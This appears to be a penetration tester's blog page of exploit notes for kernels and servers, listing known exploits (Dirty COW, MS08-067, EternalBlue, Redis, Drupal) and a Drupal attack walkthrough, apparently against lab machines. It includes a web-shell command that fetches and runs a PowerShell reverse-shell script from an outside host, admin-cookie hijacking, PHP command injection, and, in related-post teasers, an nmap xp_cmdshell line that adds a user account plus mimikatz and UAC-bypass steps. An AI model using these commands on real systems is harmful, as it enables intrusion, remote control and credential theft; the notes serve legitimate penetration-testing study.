Skip to main content

EXPLOITS for Kernels & Servers

By 




Linux 2.6.x -- > Priv Esc For Cent OS - 9595 dirty cow
IIS 6.0 --> (229) 10791.py- File Extension Bypass 
Windows Server 2000  --> SMB VULN MS08-067

Windows Server 2003 -- NT Authority Service to System
Redis 4.x/5.x Unauth --> Packet Storm  

other Redis Exploitation Techniques: 
AGS BLOG   Exploiting Redis     6379 Pen Testing 
VNC 4 --> Real VNC 4 - Auth Bypass 
Drupal Exploit --> Exploit-DB ; also find modified in /root/Downloads/exploits/drupal < 7.58  < 8.3.9 < 8.4.6  < 8.5.1

1) Run the exploit
2) go to website.com/bhanu.php?cmd=whoami
2.1) http://wensite.com/bhanu.php?cmd=echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33:8001/rev.ps1') | powershell -noprofile -                       //Get Reverse Shell

3) a new session.json file is created
4) go to cookie manager plus --> add a new cookie from the earlier details and save it. go to website.com and see you are logged in as admin



5) OPTIONAL -- http://10.10.10.9/user#overlay=admin/modules    --> Turn on PHGP filter --> save configuration 



6) go to http://10.10.10.9/user#overlay=node/add/article --> add php scipt for command execution --> <?php system(whoami); ?>
Change the text format -- PHP code   --> Save
 
Tiki Wiki 15.1 -->  Exploit-DB Unrestricted File upload -Doesnt work Github

ms-08-67 --> Python Exploit

Eternal Blue MS17-010 --> Without Metasploit

Privilege Escalation using SeImpersonatePrivilege Enabled in windows exploitation tutorial.



This should be performed after you get a user shell, where you  can run commands. type the following commands in CMD. 

whoami /priv


type "systeminfo" get the system complete information, check for available hotfixes. 
systeminfo

 For SeImpersonatePrivilege Enabled Juicy Potato can be used to exploit.







Labels:

Comments

Post a Comment

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Host and Application locally and access it over the internet via ngrock

By
 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...
Post a Comment
Read more

Windows Priv Escallation

By
1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD En...
Post a Comment
Read more